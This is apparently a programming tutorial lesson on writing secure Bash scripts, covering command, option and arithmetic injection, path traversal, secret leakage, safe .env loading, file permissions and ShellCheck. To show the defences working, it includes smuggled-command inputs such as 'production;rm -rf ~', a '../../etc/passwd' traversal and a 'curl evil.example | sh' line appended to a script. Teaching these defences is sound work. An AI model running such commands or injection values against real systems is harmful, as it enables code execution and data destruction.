Bash · lesson 19 of 22
Also part of: DevSecOps (AppSec in the pipeline) Web Security (OWASP Top 10, fix-side)
Bash Security Best Practices
Write secure Bash scripts — safe temp files with mktemp, avoiding command injection, handling secrets, and setting file permissions.
By SkillByExample · Updated
Every example below is a complete script, run with bash 5.2, GNU coreutils and
ShellCheck 0.9 on Ubuntu 24.04 as a normal user. None of them touches a real system file.
Word Splitting vs Real Injection
Here is what an unquoted variable can do, and what it can’t:
touch report.txt
filename='report.txt; echo INJECTED'
echo "-- unquoted:"
ls $filename
echo "-- quoted:"
ls "$filename"
echo "-- eval:"
eval "ls $filename"
$ bash injection.sh
-- unquoted:
ls: cannot access 'report.txt;': No such file or directory
ls: cannot access 'echo': No such file or directory
ls: cannot access 'INJECTED': No such file or directory
-- quoted:
ls: cannot access 'report.txt; echo INJECTED': No such file or directory
-- eval:
report.txt
INJECTED
The unquoted expansion split the value into three arguments, but the ; never acted
as a command separator. Bash doesn’t re-parse expanded values. eval does, and it ran the
attacker’s echo. Anything that feeds a value back through the parser is a real injection
point: eval, bash -c "$x", source, and ssh host "$x". Keep untrusted data out of
all of them. Arithmetic is a less obvious one, covered below.
Option Injection
Word splitting can still inject options, and quoting alone doesn’t stop that:
printf 'root:x:0:0\nalice:x:1000:1000\nbob:x:1001:1001\n' > users.txt
user_input="-v root"
echo "-- unquoted:"; grep $user_input users.txt
user_input="-v"
echo "-- quoted but no --:"; grep "$user_input" users.txt
echo "-- with --:"; grep -- "$user_input" users.txt || echo "(no line contains '-v')"
$ bash grep-flags.sh
-- unquoted:
alice:x:1000:1000
bob:x:1001:1001
-- quoted but no --:
-- with --:
(no line contains '-v')
The unquoted input became the -v flag and inverted the search. Quoted, "-v" was still
read as an option. grep then took users.txt as the pattern and read stdin, so the
search silently returned nothing. -- marks the end of options, so everything after it is
data. Use it whenever an argument comes from outside the script.
Arithmetic Contexts Run Code
There’s one place where bash does re-parse a plain variable’s value without eval:
arithmetic. Inside $(( )), (( )), let, and the numeric operators of [[ ]]
(-eq, -gt, …), a variable’s value is evaluated as an arithmetic expression. An
expression can contain an array index, and an array index can contain $(…):
# arith.sh: treat the first argument as a count
num=$1
echo "next: $(( num + 1 ))"
if [[ $num -gt 0 ]]; then echo "positive"; fi
[ "$num" -gt 0 ] && echo "positive ([ ])"
$ bash arith.sh 41
next: 42
positive
positive ([ ])
$ bash arith.sh 'a[$(echo injected >&2)0]'
injected
next: 1
injected
arith.sh: line 5: [: a[$(echo injected >&2)0]: integer expression expected
The harmless echo ran twice: once for $(( num + 1 )) and once for [[ $num -gt 0 ]].
Quoting doesn’t help, because the value is expanded as text first, and then the arithmetic
evaluator parses that text as an expression, runs the command substitution inside
the index, and uses a[0] (unset, so 0). The single-bracket [ builtin
only accepts a literal integer, so it refuses the value instead (bash 5.3 words the error
as integer expected). That’s why [[ $x -gt 0 ]] is less safe than [ "$x" -gt 0 ]
for untrusted input, even though [[ ]] is safer almost everywhere else.
The fix is to check the value as text before it gets anywhere near arithmetic. =~
compares strings and never evaluates its left side:
# arith-safe.sh: validate as text first, then do arithmetic
num=$1
if [[ ! $num =~ ^[0-9]+$ ]]; then
echo "not a number: $num" >&2
exit 1
fi
echo "next: $(( 10#$num + 1 ))"
if (( 10#$num > 0 )); then echo "positive"; fi
$ bash arith-safe.sh 41
next: 42
positive
$ bash arith-safe.sh 'a[$(echo injected >&2)0]'; echo "exit $?"
not a number: a[$(echo injected >&2)0]
exit 1
$ bash arith-safe.sh 08
next: 9
positive
Once the value is known to be digits only, arithmetic on it is safe. The 10# prefix forces
base 10. Without it, an input such as 08 would be read as octal (a leading zero means
octal in bash arithmetic), where 8 isn’t a valid digit. Validate every number that comes from
arguments, files, read, or the environment before you compare or compute with it.
Path Traversal
Resolve a user-supplied path, then check that it is still inside the directory you allow:
base=/srv/uploads
validate_path() {
local real
real=$(realpath -m -- "$base/$1")
if [[ $real != "$base"/* ]]; then
echo "REJECT $1 -> $real"
return 1
fi
echo "ok $1 -> $real"
}
validate_path "photos/cat.png"
validate_path "../../etc/passwd"
validate_path "photos/../../uploads-old/x"
validate_path "photos/../avatar.png"
$ bash traversal.sh
ok photos/cat.png -> /srv/uploads/photos/cat.png
REJECT ../../etc/passwd -> /etc/passwd
REJECT photos/../../uploads-old/x -> /srv/uploads-old/x
ok photos/../avatar.png -> /srv/uploads/avatar.png
The third case is why the check compares against "$base"/*, with the slash. A plain
prefix test for /srv/uploads would accept /srv/uploads-old. realpath -m resolves ..
and symlinks even when the path doesn’t exist yet.
Where Secrets Leak
On most Linux systems every user can see command-line arguments. Environment variables are less exposed, but they aren’t private either:
sh -c 'sleep 3' fake-mysql -uroot -pS3cretPass &
pid=$!
sleep 0.3
echo "-- ps shows arguments to everyone:"
ps -o args= -p "$pid"
DB_PASS=S3cretPass sh -c 'sleep 3' &
pid=$!
sleep 0.3
echo "-- env var is not in ps:"
ps -o args= -p "$pid"
echo "-- but the same user can still read it:"
tr '\0' '\n' < /proc/$pid/environ | grep DB_PASS
wait
$ bash argv.sh
-- ps shows arguments to everyone:
sh -c sleep 3 fake-mysql -uroot -pS3cretPass
-- env var is not in ps:
sh -c sleep 3
-- but the same user can still read it:
DB_PASS=S3cretPass
The environment kept the password out of ps. But /proc/PID/environ is readable by the
same user and by root, and child processes inherit it. The safest routes are stdin
(Practice task 2), a mode-600 file, or a secrets mount such as /run/secrets/.... Read the
secret, use it, then unset it.
set -x is the other common leak. It prints every expanded argument:
TOKEN="tok_live_9f8e7d"
send() { :; }
set -x
send "Authorization: Bearer $TOKEN"
{ set +x; } 2>/dev/null
send "Authorization: Bearer $TOKEN"
set -x
echo "tracing back on"
$ bash xtrace.sh
+ send 'Authorization: Bearer tok_live_9f8e7d'
+ :
+ echo 'tracing back on'
tracing back on
The first call wrote the token to the trace, which CI systems save in build logs. Wrapping
set +x in { ...; } 2>/dev/null hides the switch-off itself, and the second call left no
trace.
Loading .env Without Executing It
source .env runs the file as code. A parser that only accepts KEY=value lines doesn’t:
cat > .env <<'EOF'
# app settings
DB_HOST=db.internal
DB_PASS="p@ss word"
EVIL=$(touch pwned-by-source)
lowercase=ignored
EOF
load_env() {
local line key value
while IFS= read -r line || [[ -n $line ]]; do
[[ $line =~ ^[[:space:]]*(#|$) ]] && continue
if [[ $line =~ ^([A-Z_][A-Z0-9_]*)=(.*)$ ]]; then
key=${BASH_REMATCH[1]} value=${BASH_REMATCH[2]}
[[ $value == \"*\" ]] && value=${value:1:-1}
export "$key=$value"
fi
done < "$1"
}
load_env .env
echo "DB_PASS=[$DB_PASS] EVIL=[$EVIL]"
ls pwned-by-source 2>/dev/null || echo "load_env: nothing executed"
( source .env; ls pwned-by-source && echo "source: the \$(...) RAN" )
$ bash dotenv.sh
DB_PASS=[p@ss word] EVIL=[$(touch pwned-by-source)]
load_env: nothing executed
pwned-by-source
source: the $(...) RAN
load_env stored the $(...) as plain text. source executed it and created the file.
export "$key=$value" is safe because export assigns the value without evaluating it.
umask and noclobber
umask sets the default permissions for everything the script creates afterwards:
umask 022; touch normal.txt; mkdir normal.d
umask 077; touch secret.txt; mkdir secret.d
stat -c '%a %n' normal.txt normal.d secret.txt secret.d
$ bash umask.sh
644 normal.txt
755 normal.d
600 secret.txt
700 secret.d
Set umask 077 at the top of any script that writes secrets, and the files are private
from the moment they exist. A chmod afterwards leaves a window where they aren’t.
A predictable output path can be a trap. If an attacker creates a symlink there first, your write goes wherever the link points:
ln -s "$PWD/victim.txt" myfile
echo "original" > victim.txt
echo "hijacked" > myfile
echo "without noclobber, victim.txt now: $(cat victim.txt)"
echo "original" > victim.txt
set -o noclobber
echo "hijacked" > myfile || echo "noclobber refused to write"
echo "victim.txt: $(cat victim.txt)"
$ bash noclobber.sh
without noclobber, victim.txt now: hijacked
noclobber.sh: line 9: myfile: cannot overwrite existing file
noclobber refused to write
victim.txt: original
The first write followed the link and overwrote victim.txt. noclobber makes > refuse
existing files. The real fix is not to use a predictable name at all: mktemp creates a
new random name atomically, with mode 600.
Verify Before You Run
Check a downloaded script against a published checksum before you run it:
printf '#!/bin/sh\necho setup ok\n' > setup.sh
sha256sum setup.sh > setup.sh.sha256
sha256sum -c setup.sh.sha256
echo 'curl evil.example | sh' >> setup.sh
sha256sum -c setup.sh.sha256 || echo "refusing to run a modified setup.sh"
$ bash checksum.sh
setup.sh: OK
setup.sh: FAILED
sha256sum: WARNING: 1 computed checksum did NOT match
refusing to run a modified setup.sh
This only helps if the checksum comes from somewhere the attacker can’t also change, such
as a signed release page. curl ... | bash skips the check entirely.
ShellCheck
ShellCheck finds many of these problems before the script ever runs:
cat > deploy.sh <<'EOF'
#!/bin/bash
target=$1
cd $target
rm -rf $target/*
eval "echo deploying $target"
EOF
shellcheck deploy.sh
$ bash lint.sh
In deploy.sh line 3:
cd $target
^--------^ SC2164 (warning): Use 'cd ... || exit' or 'cd ... || return' in case cd fails.
^-----^ SC2086 (info): Double quote to prevent globbing and word splitting.
Did you mean:
cd "$target" || exit
In deploy.sh line 4:
rm -rf $target/*
^-------^ SC2115 (warning): Use "${var:?}" to ensure this never expands to /* .
^-----^ SC2086 (info): Double quote to prevent globbing and word splitting.
Did you mean:
rm -rf "$target"/*
For more information:
https://www.shellcheck.net/wiki/SC2115 -- Use "${var:?}" to ensure this nev...
https://www.shellcheck.net/wiki/SC2164 -- Use 'cd ... || exit' or 'cd ... |...
https://www.shellcheck.net/wiki/SC2086 -- Double quote to prevent globbing ...
SC2115 is the rm -rf /* bug: with an empty $target, line 4 deletes everything it can.
ShellCheck didn’t flag the eval on line 5, so a clean ShellCheck run doesn’t prove
there’s no injection. Still review every eval yourself. Run shellcheck in CI so warnings
block a merge.
Practice
-
Rewrite
deploy.shso ShellCheck reports nothing and an empty argument can’t reachrm.Solution
cat > deploy.sh <<'EOF' #!/bin/bash set -euo pipefail target=${1:?usage: deploy.sh <dir>} cd "$target" || exit 1 rm -rf -- "${target:?}"/* echo "deploying $target" EOF shellcheck deploy.sh && echo "shellcheck: clean"$ bash p1.sh shellcheck: clean -
Pass a password to another process in a way that doesn’t show up in
ps.Solution
Send it on stdin:
PASS="S3cretPass" printf '%s\n' "$PASS" | sh -c 'read -r p; sleep 2; echo "consumer got ${#p} chars"' & sleep 0.3 ps -o args= -p $! wait$ bash p2.sh sh -c read -r p; sleep 2; echo "consumer got ${#p} chars" consumer got 10 charspsshows the command but not the secret.printfis a Bash builtin, so the password never appears as another process’s argument either.mysql,docker login --password-stdinandvaultall accept secrets this way. -
Write
validate_envso it accepts onlyproduction,stagingordevelopment, and test it with an injection attempt, a case variant and an empty string.Solution
validate_env() { case "$1" in production|staging|development) echo "ok: $1" ;; *) echo "rejected: $1" >&2; return 1 ;; esac } for e in staging 'production;rm -rf ~' Production ''; do validate_env "$e" || true done$ bash p3.sh ok: staging rejected: production;rm -rf ~ rejected: Production rejected:An allowlist rejects everything it doesn’t know. A denylist of “bad characters” always misses a case.